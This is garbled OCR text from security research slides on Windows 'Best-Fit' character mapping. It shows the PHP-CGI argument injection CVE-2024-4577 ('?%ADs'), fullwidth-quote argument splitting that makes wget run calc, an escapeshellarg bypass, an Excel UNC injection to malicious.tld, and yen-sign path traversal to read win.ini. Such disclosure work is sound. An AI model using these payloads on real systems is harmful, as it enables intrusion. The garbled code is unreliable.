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B windows PowerShell X + v

PS C:\Program Files\PostgreSQL\17> .\bin\psql.exe -U postgres
Password for user postgres:

psqLa(17 52)
Type "help" for help.

postgres=#
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B2 Windows PowerShell X =
PS C:\Program Files\PostgreSQL\17> .\bin\psql.exe -U postgres
Password for user postgres:

psql (17.2)
Type "help" for help.

postgres=# SELECT name, balance FROM accounts WHERE name='splitline';
name balance

e wse | $14.50 &

(1 row)
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B windows PowerShell X + v

PS C:\Program Files\PostgreSQL\17> .\bin\psql.exe -U postgres
Password for user postgres:

psql (17.2)
Type "help" for help.

postgres=# SELECT name, balance FROM accounts WHERE name='splitline';

name | balance
___________ +__.____.___

Crow % SET balance = '00' Q e

postgres=# UPDATE accounts[SET balance='wf]WHERE name="'splitline';

UPDATE 1
postgres=#

on




B2 Windows PowerShell X =
PS C:\Program Files\PostgreSQL\17> .\bin\psql.exe -U postgres
Password for user postgres:

psql (17.2)
Type "help" for help.

postgres=# SELECT name, balance FROM accounts WHERE name='splitline';

name | balance
___________ +_...._.__.___._
splitline | 14.50
(1 row)

postgres=# UPDATE accounts SET balance='«' WHERE name='splitline’;
UPDATE 1

postgres=# SELECT name, balance FROM accounts WHERE name='splitline';
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B2 Windows PowerShell X = a
PS C:\Program Files\PostgreSQL\17> .\bin\psql.exe -U postgres
Password for user postgres:

psql (17.2)
Type "help" for help.

postgres=# SELECT name, balance FROM accounts WHERE name='splitline';

name | balance
___________ +_._.____.___.
splitline | 14.50
(1 row)

postgres=# UPDATE accounts SET balance='«' WHERE name='splitline’;
UPDATE 1

postgres=# SELECT name, balance FROM accounts WHERE name='splitline’;
name balance

splitline | 8
(1 row)




Reconnecting

The connection has been lost. Attempting to
reconnect to your session...

Connection attempt: 1 of 5
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Since Windows 9x Since Windows 2000

Windows Code pages

Since NT 3.1 Since May, 2019
(Obsolete) T (Beta)

Windows PNERZAEEFEREY !
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typedef wchar_t WCHAR;

(more...)
Console Input

Environment Variable
Windows Registry

File Name

Command Line



| 1 1 r | 1 LI~ 1A

C

int main ( int argc,

char| *argv
har| *envp

J

)

File Name [

Command Line

X Environment Variable
Windows Registry




getenv, _wgetenv | Microsofi X +

C 2% learn.microsoft.com/en-us/cpp/c-run...

Syntax

~
£ O

{ o
char xgetenv( K‘_EL/)
const char *varname ,

i;

wchar_t *x_wgetenv(
const wchar_t *xvarname

);




DWORD GetEnvironmentVariable(

'in, optional] LPCTSTR lpName,
‘out, optional] LPTSTR 1pBuffer,
1in] DWORD  nSize

)5



Since Windows 9x Since Windows 2000

~ ANSI UTF-16
Windows Code pages

GetEnvironmentVariableA B ANSI/ ERFiES

GetEnvironmentVariablel ® wide char/ Unicode



Windows OS
e 1 1
6ci 6c§

65

WCHAR *env=" H
|
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6C

On Windows code page 1252 (Latin-1)



Windows OS

1

(0

65

e

6C

1
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6F |

:7 RtlUnicodeStringToAnsiString

GetEnvironmentVariableA

l
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1

(0

48

65

6C

6C

6f

I
ANSI

On Windows code page 1252 (Latin-1)



CUTF-16
Windows OS

v Tt Y < 00

la 22|c0 83|77 20|64 22|1e 22

|
Bestfit! |RtlUnicodeStringToAnsiString

v
|

GetEnvire YariableA puys

- 8
76 70 37 3d 38

On Windows code page 1252 (Latin-1)
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Bestfit mapping

- —{@ Unicode FHE#EEHRL ANS| FHEEFS WSS
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Bestfit mapping

- BRARESENEIRRE, R2FEEM ABiLK] BE @




Bestfit mapping
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CVE-2024-4577

— @ el/miE CVE-2012-1823 ®UiE@




PHP-CG| =ipi2\AEHITIRIM

CVE-2024-4577

————————————————————

____________________



CVE-2012-1823

$ php-cgi.exe --help

-S Display colour syntax highlighted source.



127.0.0.1:8080/index.php?%ads X +

& G [ ® 127.0.0.1:8080/index.php?-s

ok
<?php
if (lempty($_SERVER['HTTPS']) && ('on' == $ SERVER['HTTPS'])) {
$uri = "https://";
} else {
$urd. = "HEEp:i//";
}
$uri .= $_SERVER['HTTP_HOST'];
header('Location: '.$uri.'/dashboard/");
exit;
?>
Something is wrong with the XAMPP installation :-(




CVE-2012-1823

http://vuln.host/index.php?=k

===,

Patch
if((qs = getenv("QUERY_STRING")) != NULL && strchr(qgs, '=") == NULLJ {-----cl[
/* ... omitted ... */ \
for (p = decoded qgs; *p && *p <= ' '; p++) { /* skip leading spaces */ }
if (*p == '-") {

skip_getopt = 1;



CVE-2012-1823

http://vuln.host/index.php?=k

' : P PPN —~rca AN A ~ ’,' PQtCh! ":’
if((qs = getenv("QUERY_STRING")) != NULL && strchr(qs, '=') == NULLY Y

skip_getopt = 1;
}



CVE-2024-4577 &

http://vuln.host/index.php?7%ADs

. Apache :
it php-cgl.exe |AD|S

[ 127.0.0.1:8080/index.php?%ads X -

= () 127.0.0.1:8080/index.php?%ads

<?php
if (!empty($_SERVER['HTTPS']) && ('on' == $ SERVER['HTTPS'])) {
$uUri. = “htEpsz/f";
} else {
$uri = 'http://';




CVE-2024-4577 &

U+00AD E

v

'

, (=) B Apache

CP-932 | BX php-cgi.exe [AD|S !soft Hyphen | ‘e
Cp-936 | 2Pz | ftooooooes '

CP-950 | S8 \ R

. php-cgi

U+00AD — ©x2D GetCommandLineA() P9

A\ Bestfit l

Cmdline = php-cgi.exe -s



T BME&E% PHP dE4E 2024/06/06 {18

PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in
PHP-CGI

bukka published GHSA-3qgc-jrrr-25jv on Sep 29

Package Affected versions Patched versions Severity

No package listed <8.338 8.3.8
<8.2.20 8.2.20

<8.1.29 8.1.29 CVE D

CVE-2024-4577

Description
Weaknesses

CWE-20
Hi,
| am Orange Tsai from DEVCORE Research Team. We recently found a vulnerability on PHP. We have Credits

reproduced the issues in the latest version of PHP 8.3.6 and would like to report it to you. Please check the

. T orangetw Reporter
attached document for details. <
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PHPECGImRLIRINETE), BRFHEHBPRHRAE., BER
=, BEEkIRGEE R TZR

EEELFEHRBRIBENPHPEAZSERERRRICVE-2024-45778BBHETH | BRHEEBAT
SEIHHAABFARERE - SEEENE - BEEE - BLE - HERNAEEB

S1h | 2025-03-10 8%

JIiTH+ &= HERIN
Diamond model of actor's tradecraft

Suspicious hacker Group

Let's DevSecOps ! &
=Up | 22Up !

Exploit code targeting CVE-2024-4577 Vulfocus
Cobalt Strike reverse HTTP shelicode ARL (Asset Reconnaissance Lighthouse)

fract A JuicyPotato Viper C2
‘ 8 RottenPotat Starkill it e
38.14.255.23 O e et Cloud Summit BEEmAE
118.31.18.77 X ; SweetPotato BeEF 13145
: S sharp Task.exe Blue-Lotus )
SharpHide.exe oh-my-zsh

SharpStay.exe T @™ w« EDR,NDR, XDR?

SharpGPOAbuse.exe

Seatbelt.exe g MDR |E B S E R

Ladon.exe T g~
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Attack Surfaceg 4
%

Path / File name Command Line

Windows Active
Registry Directory

Environment Variable




Attack Surfaces 4

Path / File name Command Line

Environment Variable | L noows Active
Registry Directory
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Path / File name
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MlcrosoftﬂW|ndows [Version 10.0.19045. 5131]
(c) Microsoft Corporation. All rights reserved.
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o .¥ as a filename?



v ] X ¥

Home Share View

Recycle Bin AR 4

> ¥ ¥ ¥

A

# Quick access

q B Desktop
td

¥ Downloads
“& Documents
&= Pictures

\ ) 42.txt - Notepad

£ File Edit Format View Help

" | Absolutely Normal!




v

Home Share View

¥~ Command Prompt - python X |6

Microsoft Windows [Version 10.0.19045.5131]
(c) Microsoft Corporation. All rights reserved.

C:\Users\DEVCORE\Desktop>python
Python 2.7.18 (v2.7.18:; aa2lf2, Apr 20 2020, 13:25:05) [MSC v.

Type "help", "copyrig redits" or "license" for more informa

>>> jmport os
>>> os.listdir('."')




v

Home Share View

RecycleiBin' Fer e Cis N > XV ¥

A

Bestfit!

-] Command Prompt - python

(2] ’ Microsoft Windows [Versi

Google (c) Microsoft Corporatio typedef s\ruct _WIN32_FIND_DATAA {

Chrome 5 . .
C:\Users\DEVCORE\Desktop DWORD  \dwFileAttributes;

Python 2.7.18 (v2.7.18:3
Type "help", "copyrig
>>> jmport os

>>> os.listdir('."')

FILETIME CreationTime;

FILETIME ftlastAccessTime;

Microsoft
Edge

[CHAR cFileName[MAX_PATH];]

s




v

Home Share View

-] Command Prompt - python X + v

{icrosoft Windows [Version 10.0.196045.5131]
Microsoft Corporation. All rights reserved.

C:\Uskrs\DEVCORE\Desktop>python
Python\2.7.18 (v2.7.18:8d21aa21f2, Apr 20 2020, 13:25:05) [MSC v.

>>> o5, Uistdir('."')
Ll NN, "desktop.dindt ]

A




v

Home Share View

¥~ Command Prompt - python X |6

Microsoft Windows [Version 10.0.19045.5131]

(c) Microsoft Corporation. All rights reserved.
8

C:\Users\DEVCORE\Desktop>py

Python 2.7.18 (v2.7.18:8d2

Type "help", "copyright",

>>> import os

>>> os.listdir('.')

Proo NN\ desktop.ind® ]

>>> os.listdir( os.listdir('.")[0] )

['$Recycle.Bin', 'bootmgr', 'BOOTNXT', 'Documents and Settings',

agefile.sys', 'PerfLogs', 'Program Files', 'Program Files (x86)',

very', 'secret.txt', 'swapfile.sys', 'System Volume Information',

20 2020, 13:25:05) [MSC v.
"license" for more informa
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¥ Automated Malware Analysis X o

C 25 cuckoosandbox.org/index.html

About

Being able to understand the way malware
operate is the key to properly fight them. Cuckoo
Sandbox helps you achieving this goal in an easy
and automated fashion.

Read more »

Home About Download

Documentation

) & mpRE

Development FAQ Blog Community

Malware? Tear it apart, discover its ins and outs and collect
actionable threat data. Cuckoo is the leading open source
automated malware analysis system.

Get Cuckoo!

Download

Cuckoo Sandbox is a completely open source
solution, meaning that you can look at its
internals, modify it and customize it at your will.

Go on and download it to start tackling malware.

Read more »

Participate

Cuckoo Sandbox is a community effort. The only
reason of it's growth and popularity is the people
using it and contributing to it. Get in touch with
the developers and with the users now!

Read more »




v [H Requirements —Cuckoo San X  +

< C 25 cuckoo.readthedocs.io/en/latest/installation/host/requirements/ kg 3}

#A Cuckoo Sandbox

>

Docs » Installation » Preparing the Host » Requirements O Edit on GitHub

Requirements

atest

AadiisFeleligid7=8only fully support Python 2.78@16/=IgV=lgs (e]g

of Python and Python 3 versions are not supported

B Installation

B Preparing the Host The Cuckoo host components is completely written in Python, therefore it is required to have an

B Requirements appropriate version of Python installed.|At this point we only fully support Python 2.7. Older

Installing Python libraries (on version of Python and Python 3 versions are not supported by us (although Python 3 support is on

Ubuntu/Debian-based
distributions)

our TODO list with a low priority).
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cuckgo'y” gy

Sandbox Host <_.'.'=_ {5

Guest VM Guest VM Guest VM




CUC'@Qﬁ\E{ iZ Recent & Pending Q Search Submit Import

SUBMIT URLS/HASHES

Submit URLs/hashes

-
a

CreateFileW(L"..\uB0A5. .\u00A5..",..)
— ifee J used | total

From the press:

FREE DISK SPACE CPU LOAD MEMORY USAGE




CUC@Q{ @ Dashboard = Recent £ Pending Q Search Submit Import

Dropped Files

Name cuckoo.conf Download
Size 6.5KB

Type ASCII text

MD5 a39168f9e20bba2cd67a9cclae3ef6d6

SHA1 371be22301d323f14bca®6711918d7b16085cc16

SHA256 f374cada27d8dal556d061147c4b6b82e3f863e5e8ae58c0e8f0ab13178979a8
CRC32 B19B56BC

ssdeep None

Yara « vmdetect - Possibly employs anti-virtualization techniques

VirusTotal Search for analysis

Cuckoo Sandbox cuckeots”  Back to Top

o
o
o
©
B
©
)
©
0]
S
o




B C:\Users\cuckoo\.cuckoo\conf\cuckoo.conf - Sublime Text (UNREGISTERED)

File Edit Selection Find View Goto Tools Project Preferences Help

4P  cuckoo.conf

1 [cuckoo]
2 # Enable or disable startup version check. When enabled, Cuckoo will connect

# to a remote location to verify whether the running version is the latest

# one available.
5 version_check = yes

e

+4..\..\cuckoo.conf

173
ol A

12 # The authentication token that is required to access the Cuckoo API, using

13 # HTTP Bearer authentication. This will protect the API instance against

# unauthorized access and CSRF attacks. It is strongly recommended to set this
15 # to a secure value.

16 api_token = zqrzb@LjKGxNEPh28R1ajq



Cuckoo Sandbox LF| to RCE

f . e — -
- -

e

T gt pe v
¢ e £ TR CUCROR-ICH . Py LN0.248.0. 22T
[#] Sbainaims 1D = 4

[*] Wadtirg for amlyeing.


http://www.youtube.com/watch?v=EeMcDT95WSM
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import subprocess
subprocess.run(

[ 'wget.exe', f'http://example.tld/{USER_PROVIDED INPUT}.txt"']

E—ERERRZESCE) Windows EXR#KL

ERIEIVERRITATEEF 7



import subprocess

subprocess.run(

[ 'wget.exe', f'http://example.tld/-.txt' ]

EaSy pEaSy 3 &



httos://docs.python.org/3/library/subprocess.html#security-considerations

A3 subprocess — Subprocess m X =+

c 2% docs.python.org/3/library/subprocess.html#security-considerations

Security Considerations

Unlike some other popen functions, this library will not implicitly choose to call a system shell. This means that
all characters, including shell metacharacters, can safely be passed to child processes. If the shell is invoked



https://docs.python.org/3/library/subprocess.html#security-considerations

>>> subprocess.run(["wget.exe", f'http://example.tld/ & calc & .txt'])
--2024-12-03 12:34:56-- http://example.t1d/%208&%20calc’%208&%20.txt

Resolving example.tld (example.tld)... 8.8.8.8
Connecting to example.tld (example.tld)|8.8.8.8|:80... connected.

...omitted...

)

(BRENG)
2 ik
15X 1240




import subprocess

subprocess.run(

[ 'wget.exe', f'http://example.tld/-.txt' ]

|

EEA D28

I\ |

o)



import subprocess

subprocess.run(

[ 'wget.exe', f'http://example.tld/-.txt' ]
) /

S |




import suk

subproces

[ 'wget

B¥ Windows PowerShell

PS C:\> python
Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022, 23:13:41) [MSC v.1929 64 bit (AMD6
4)] on win32

Type "help", "copyright", "credits" or "license" for more information.

>>> import subprocess

>>> subprocess.run(['wget.exe', f'http://example.tld/" --use-askpass=calc " .txt'])
F  Calculator - rom command "calc Username for 'http://example.tld': ": No s

W it

= Standard ‘3 wget.exe', 'http://example.tld/" --use-askpass=calc

Easy Peasy 4z



AT

¥l : NN %

& Windows PowerShell X S ||

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32

Type "help", "copyright", "credits" or "license"
for more information.

>>> subprocess.run(['wget.exe', f'http://example
.tld/" --use-askpass=calc " .txt'])

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license"
for more information.

>>> subprocess.run(['wget.exe', f'http://example
.tld/" --use—askpass=calc ".txt'])

Exploit €9

Safe &

Install Now!




¥l : NN NN

& Windows PowerShell X S ||

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license"
for more information.

>>> subprocess.run(['wget.exe', f'http://example
.tld/" --use-askpass=calc " .txt'])

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
"credits" or "license"

Type "help", "copyright",
for more information.
>>> subprocess.run(['wget.exe', f'http://example
.tld/" --use—askpass=calc ".txt'])

Exploit €9

Safe &

Install Now!




28 Windows PowerShell X +

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license"
for more information.

>>> subprocess.run(['wget.exe', f'http://example
.tld/" --use-askpass=calc " .txt'])

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license"
for more information.

>>> subprocess.run(['wget.exe', f'http://example
.tld/" --use—askpass=calc ".txt'])

Exploit %

Safe &




28 Windows PowerShell X 4= | v

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license"
for more information.

>>> subpyrocess.run(['wget. f'http://example
.tl —use—askpass=cal@xt'])
U+FFO2

ESiZ o 5%

PS C:\> python

Python 3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
, 23:13:41) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license"
for more information.

>>>—subprocess.run(['wgegrexe', f'http://example
.t —use—askpass=calxt b
U+0022

SEESI5R

Exploit @9

Safe £




28 Windows PowerShell X + v

PS C:\> python
Python 3.10.4 (tags/v3.10.4:9d38120, Mar 2
, 23:13:41) [MSC v.1929 64 bit (AMD64)] o
Type "help", "copyright", "credits" or "
for more information.

>>> subprocess.run(['wget. FahEtpey
.tl—use—askpass=cal@xt 05
U+FFO2

ESiZ o 5%

:\> python

3.10.4 (tags/v3.10.4:9d38120, Mar 23 2022
:41) [MSC v.1929 64 bit (AMD64)] on win32
p", "copyright", "credits" or "license"
information.

ocess.run(['wgegzexe', f'http://example
use—askpass=calxt b
U+0022

SEESI5R

Exploit @ Safe ¢




wget example.tld/home -0 "out.txt"

\
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On Unix-like systems On Windows system

./test foo "bar" test.exe foo "bar"

ffRE shell 24T l

(30 /bin/bash)
CreateProcess("C:\\test.exe",

argv[] = {"./test","foo","bar"} "test.exe foo \"bar\"")
execve("/bin/test", argv[], envp) [ 4 New Process #7 test.exe
_________________________________ Cmdline = GetCommandLine()

Args| ] = CommandLineToArgv(Cmdline)

+4+ New process |_>
WA argv B /bin/test argv[] = {"test.exe", "foo", "bar"}




U+FF02 U+FF02
l l

@ run([ 'wget.exe', 'example.tld/" --use-askpass=calc ".txt'])
; RS |SEBRANE, 1880, RATRMA escape

HEl CreateProcessW("C:\wget.exe",
|| "wget.exe \"example.tld/ﬂ --use-askpass=calc I.txt\"")
| J

1 3 mHmEEE vt ek

Wget GetCommandLineA()

A Bestfit ; [ANSI] 8557505 | 2AE2 6 gestfit 5% szl

Cmdline = wget.exe "example.tld/i --use-askpass=calc H.txt"

| ] | ] | J
argv[1] argv[2] argv[3]




U+FF02 U+FF02

Calculator l

Pé run(['wget.exe’, x| ——— ol calc ".Ext'])

; RS SE 3

HIEll CreateProcessW("C
L "wget.exe

Argument Splitting!

GreviL] argv[2] argv[3]




AR 7 — R SERIERE. . .

e Java °

e Perl

e tar (Windows built-in) e

e curl (Author build) o
e wQet °
o Bzip2 o

MmESEEBEESE-A

OpenSSL
Subversion (SVN)
Perforce
PostgreSQL
Plink on Putty
XZ Utils

8 bug TFI1E !



BAPIERE T —KIEERNERE. . .

e Java e OpenSSL
o Perl e Subversion (SVN)

(3l tar (Windows built-in) IR Ta{efe=

o Bzip2 o XZ Utils

MmMESE2ARZHEN bug FE !



e

<> Code (©) Issues 6

elFinder Pubiic

Fol

¥ master ~

ﬂ nao-pon Fix #363]

.github

= O Studio-42 | elFinder

® © ® ) studio-42/elFinder: [@ Oper

W

C

+

Cc 25 github.com/Studio-42/elFinder

19 Pullrequests 3 ) Discussions

Demo:elFinder - Web File M

(® Actions

07 wiki

+

25 studio-42.github.io/elFinder/#elf_I1_Lw

files

img

jquery

C) star

elFinder 2.1.x, please report bugs here or send your translation.

=

u
n

I, Places

>

Basic Auth Example

» & Downloads

» [ Images

B

MIME types
Setup with composer

Tios

elFinder

file manager for web

1,419

- |
']
i
Downloads

L]

Tips

® Watch 237 ~ % Fork 1.4k v Yy Star 4.7k

Q Type (/] to search S + ~ |[O][1] | & @'

@ Security 3 |~ Insights

Code Issues Wiki Discussion

v

Videos

Setup with
composer

B ..

E T |

MIME types README.md Images

re
Welcome(Multiling
ual)

Dow

Basic Auth
Example




16
6892

6904
6905
6906
6907
6908
6909
6910
6911
6912
6913
6914

e

abstract class elFinderVolumeDrjver
protected function makeArc

$files = array_ma ('escapeshellarg'J $files);

$prefix = $switch ="'}

FRIE2 8884 escapeshellarg BET

ive($dir, $files, $name, $arc)

// The zip command accepts the "-" at the beginning of the file name as/a command switch,
// and can't use '--' before archive name, so add "./" to name for secfirity reasons.
if ($arcl'ext'] === 'zip' && strpos($arc['argc']l, '-tzip') === false)/{
$prefix = './';
$switch = '—— ';
} —_—— —_——
$cmd = $arc['cmd'] ' ' . $arc['argc'] ' ' . $prefix f-;scapeshellarg($name) | * ' . $switch . implode(' ', $files);
ecrc aut = 2 e — — ———

$this->procExec($cmd, $0, $c, $err_out, $dir);|

~RAs AT ~AT, T T



All escaped...

| tar.exe rchf "NewTar.tar" ".\filel" ".\file2" ...

1B tar.exe & WorstFit BU=SEE|





http://www.youtube.com/watch?v=DPIp42-Ls0U

RStudio w/ SVN TortoiseGit w/ Plink

SR, =R EZ/NEE


http://www.youtube.com/watch?v=EF1U-C0e_9E
http://www.youtube.com/watch?v=YKw4ZcQ75Hc

e A FEAGh S Hebi ILiE PR B S |

Command: :new("program.exe").arg(argument)
subprocess.run(["program.exe", arg])
child process.spawn('program.exe’', [argument])
exec.Command("program.exe", args...)
proc_open([ 'program.exe', $arg])

shell exec('program.exe '.escapeshellarg(arg));



Affected Code Pages

- 874

- 1250 :
: iR R (ﬁifﬁ%ﬁ)
- 1252
- 1263 :
- 1254
. BRI
~ | P36
i VAY A
- 1258 :

- 1251

- 1265

XL
Latin 2 / DEREE

Latin 1 / FBEREER
o iR
TEHHX

CIEVA(SRY
RIEBBER
RIS

——

U+FFO2
w

Full Width
Quotation Mark



W e
i HEGE S

CJK (Chinese, Japanese, Korean)




HF— P

s10-tan--tsit-¢!



¥ @ W

Japanese Korean
Yen Sign Won Sign

Ox5C (\)




[ 'program.exe ,'foo¥"'bar ]

___________________



FA2R escape [EAEBIGHVES|5E

!
program.exe "foo¥\" bar”

argv[l]

___________________



Bestfit!

REHEARBE escape T !

!
program.exe "foo\\" bar"

argVv[1]

argv[2]

___________________
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HA CLI gk ?



New Text
Document.txt



New Text
Document.txt



(

7] C:A\Windows\System32\cmd.e X

C:\>assoc

Tdxt=txtfile

_|_

v




/9 Event @ Process & Stack

Image

7 Notepad
Microsoft Corporation
Name: NOTEPAD.EXE
Version:  10.0.19041.1 (WinBuild.160101.0800)

Path:

C:\WINDOWS\system32\NOTEPAD.EXE
| NOTEPAD . EXE <FILENAME>

Command Line; \
| "CAWINDOWS\system32\NOTEPAD.EXE" C:\New Text Document.txt




X

New Microsoft Excel
Worksheet.xlsx



N\malicious.tld\ xxx.x1lsx



b

EXCEL.exe "AA" "/a" "\\malicious.tld\xxx.xlsx"




CVE-2024-49026 - Microsoft Excel Inject UNC to RCE



http://www.youtube.com/watch?v=zklkmbDyR1U

Attack Surfaces 4

Environment Variable




€]

Stdout

~
To-- RS ---

Query string, path, headers etc.




€]

ReadConsolelnputA

Bestfit!
Stdin

Web Server

Stdout

~
Tt-- RISy -

Query string, path, headers etc.

Bestfit!

GetEnvironmentVariableA



/index.php/%EO0dmiIn

Web Server K B CaGl

= Z)F7FE /admin

PATH_INFO=/index.php/admin $ SERVER['PATH_INFO']

GetEnvironmentVariableA("PATH_INFO")



/index.php/%EO0dmiIn

Web Server K.
S Z)FFE /admin

PATH_INFO=/index.php/admin

Bestfit!




PHP CGI-Mode

/index.php/foo/bar

N — e — eV
* REDIRECT URL = /index.php/foo/bar ‘-—----

i REQUEST URI = /index.php/foo/b i
| server R AN
| PATH_INFO = /index.php/foo/bar |




REQUEST_URI = /index.php/foo/bar i
PATH_INFO = /index.php/foo/bar i

PATH_TRANSLAT IV g7
[ ; r —

el Ohp-coi.exe |

“““““““““““““““““““““““““ \ )




PHP CGI-Mode

/index.php/../../secret

REDIRECT_URL = /index.php/.. /fa#0 ecrev-—--
| Server REQUEST_URT = /indgu@ls7.. /secret
DATH TAT yindex.php/../../secret i

|

|

|

PATS — e C:\secret

SCRIT™ __cNAME = C:\secret
PATH _INFO =/




PHP CGI-Mode

/index.php/../../secret

'

EREEIREEEMN
- Invalid URI Path

\_(“J )_/ 400 Bad Request




77 Ah shit, here we go again.



PHP CGI-Mode

/index.php/. .¥. .¥secret/foo/

7

_________________________7 Bestfit! ___________________ \\
i PATH_TRANSLATED = C:\www\index.php\..\..\secret/foo i
i PATH _INFO = /index.php/..\..\secret/foo | _ i
e LEW )
i ¥4 it B ER#S PHP 4 #0 PATH_INFO |

D R ——————————————————



Apache + PHP-CGI

D) iz

/index.php/..¥. . ¥ oN308}]/

IEFZE~ index.php

HRFENBE

/index.php/..¥..¥

HETNo input file specified |



A IIS + PHP-CGI + & %E doc _root

=EF o] LIEAY LFI !

g’ B [ victimtld/indexphp/ ¥¥.¥.¥L¥ X = — O X
<5 @ A Not secure victim.tld/index.php/..¥. ¥.¥. ¥.¥Windows/win.ini/foo £ = ’Tn

; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1




Perl CGl

Query, Path, Headers ...

EHRZ

=22 |

PHP CGlI Mode

- $_REQUEST, $_GET
- $_SERVER

ORIG_PATH_INFO
ORIG_PATH_TRANSLATED
PATH_INFO
PATH_TRANSLATED
PHP_SELF



All Code Pages lead to Path Traversal (on |IS)

——

- 874 : FEL
- 1250 : Latin 2 / 9PEREE F----===-------

- 1251 : BRRIk3Z (@Eﬂﬁ%@)
- 1252 : Latin 1 / TBEEER

- 1253 : ?‘EH»JZ i \ i
- 1254 : +HEY 'i i

- 1;55 : aﬂéﬂéi Full Width

- 1256 : E?ld ?'C_ Reverse Solidus
- 1257 : RFEeOBsE%R |
- 1258 : #EEX




Attack Surfaces 4

RegOpenKeyZ
RegQueryValue/ Windows Active
! Registry Directory

Future workl!



AR 7 — R SERIERE. . .

e PHP
e Java
e Perl

e tar (Windows built-in)
e curl (Author build)
e wgqet

e Bzip2

Microsoft Excel
OpenSSL
Subversion (SVN)
Perforce
PostgreSQL
Plink on Putty
XZ Utils



int main(int argc, char* argv[]) { }

—{EZ *NIX RAEREABIEE B main BRI




int main(int argc, char* argv[]) { }

£ Windows &t L AReZbr 85
Argument Splitting ik’

%1
It

.'E”



\ - HelloWorld.exe C:\Users\Orange\source\repos\HelloWorld\x64\Release\HelloWorld.exe

Edit Jump Search View Debugger Lumina Options Windows Help
t! § v § =) ‘\I'j. = @) . v JA @ E LTF v O & ] No J&bu;_;

ibrary function | Regular function i Instruction Data Unexplored External symbol Lumina fur
— —— e
DA View-A =] Pseudocode-A B @] Hex View-1

int _ fastcall main(int argc, char **argv, char **eny

{
printf("Hello World!\n");

return 0;

}



\ - HelloWorld.exe C:\Users\Orange\source\rep¢ [
Edit Jump Search View Debugger Lum
| @3~y @QAQ 6 Al v|: A @
[ .
ibrary function | Regular function i Instruction
[IDA View-A
int _ fastcall maln1¢nt

{

' i

printf("Hello World!\n'
return 0;

}

Synchronize with

Copy

Remove return value

Rename global item...

Set item type...
Jump to xref...

Edit func comment...
Generate HTML...
Mark as decompiled
Copy to assembly
Hide casts

Remove return type

De-obfuscate arithmetic expressions

Gepetto

Ctrl+C

Shift+L
N

Y
X
/

(~<fy



38 _scrt_current_native startup state = initialized;

39}

40 _scrt_release_startup lock(ve);

41 dyn_tls init callback = (_QWORD *) scrt_get dyn tls init callback(v3);

42 v6 = (void (__fastcall **)(_QWORD, _ inté64))dyn tls init callback;

43 if ( *dyn_tls init callback && _scrt_is nonwritable_in_ current_image(dyn tls init_
A4 (*v6)(eLL, 2LL);

45 dyn_tls dtor callback = (_tls callback type *) scrt_get dyn tls dtor_callback(v5);
46 v8 = dyn_tls dtor_callback;

47 if ( *dyn_tls dtor_callback && _scrt_is nonwritable_in_current_image(dyn tls dtor_
48 register_thread local exe atexit callback 0(*v8);

49 envp = get initial narrow_environment _0();

50| argv = * p___argv 0(); 1TEIJ . T—‘E*E

51 argc=—>p.. argc _0(); hEY Maln ii:—'-

52 VvO # main(zl g, drgv, envp);

53] if I—scrt_is_managed_app() )

54 LABEL_20:

55 exit o(ve);




® 55

) 38
39

® 40
® 41
® 42

R 12

® 4/
® 48
® 49
® 50

® 51

® 52

® 53

Arge=s—p.. argc 0();

. L : :
vo # main({arge;—arEVv, envp);
if I scrt_is _managed_app() )

54 LABEL_20:

_scrt_current_native startup state = initialized;
}
_scrt_release_startup lock(vo);
dyn tls init callback = (_QWORD *) scrt_get dyn tls init callback(v3);
ve = (void (__fastcall **)(_QWORD, _ int64))dyn tls init callback;

if ( ¥Aun +1c init Fallharcl RR crrt ic nnnuritahla in rFiirrant imacaldun +1c init

1T ( ~ayn_T1S dTOr callback && _SCrT_1S_nonwritanle_1n_current_1mage

register_thread local exe atexit callback ©(*v8);
envp get initial narrow_environment 0();
argv = * p__argv_0();

0 TIS ator._

exit @(ve);



B Microsoft

Visual Studio

Best-in-class tools for any developer

Visual Studio " Visual Studio ode Visual Studio for Mac ©

D File €t View Projedt Bulld Debug  Test  Analyze

@8 3 I ] smartHotel250.Website » ] Debug

Q- -7 N u‘ . * Debug =~ AnyCPU

W Solution <2 o n Positive Twe

BookingsControlier.cs ¥ L SmanHoM60. Websid No selection
Soluton ems using System;
| sdeorconty ing System,Collections.G
public class okings 11 : SmartHotel300. Wat 3 sing Microsoft.Extensions
{ d i multi-th f Dependencies R Ne L
private resdonly erdookingQue ' Certicp Remave Unnecessary Usings
ivate readonly tef me y I wale Centroders -

-
| SmartHotel Services

sblic

sasoqdeg propy  xoqion)

Magels namespace SmartHotel368.Pu
s
public -

Properties




_scrt_common_main()

“GetcommandLine() “ scrt_initialize crt()

\_ac rt_initialize_command_line()

pre_c_initialization()

</>mainCRTStartup

parse_command line() <«— configure_narrow_argv<char>()

\




The wmain function signature

The wmain function doesn't have a declaration, because it's built into the language. If it did, the

declaration syntax for wmain would look like this:

C ™ Copy

int wmain( void );
int wmain( int argc, wchar_t xargv[ 1 );
int wmain( int argc, wchar_t xargv[ 1, wchar_t xenvp[ 1 );

IEFERIES - ERARFIThRANBEY main BIEL




B CRERNENREZEE...

¥ Safe A\ Potentially Vulnerable

_wgetenv getenv

_wgetcwd getcwd, getcwd
